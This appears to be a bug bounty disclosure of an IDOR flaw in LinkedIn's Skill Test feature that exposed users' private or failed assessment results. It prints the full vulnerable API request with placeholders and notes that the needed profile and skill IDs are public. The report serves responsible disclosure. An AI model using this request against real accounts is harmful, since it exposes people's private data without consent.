Anyone can view the results of linkedin skill test -if failed to earn a badge or if the badge earned is kept private: both cases results can be viewed

Summary

The researcher found an IDOR in LinkedIn Skill Test functionality which allowed anyone to view the private skill test results of users who failed to earn a badge and also test results of a passed skill test kept private.

It was possible to view the private skill test results of users who failed to earn a badge and also test results of a passed skill test kept private. Here is the request that was vulnerable to IDOR -

GET /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn:li:fsd_skillAssessmentAttemptReport:(urn:li:fsd_profile:<fsd_profile-ID>,urn:li:skill:<SKILL-TEST-ID>,1) HTTP/1.1
Host: www.linkedin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
csrf-token: <CSRF-TOKEN>
Origin: https://www.linkedin.com
Connection: close
Referer: https://www.linkedin.com/skill-assessments/hub/reports/?resultType=
Cookie: <COOKIES>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

The fsd_profile ID and the skill ID both are public.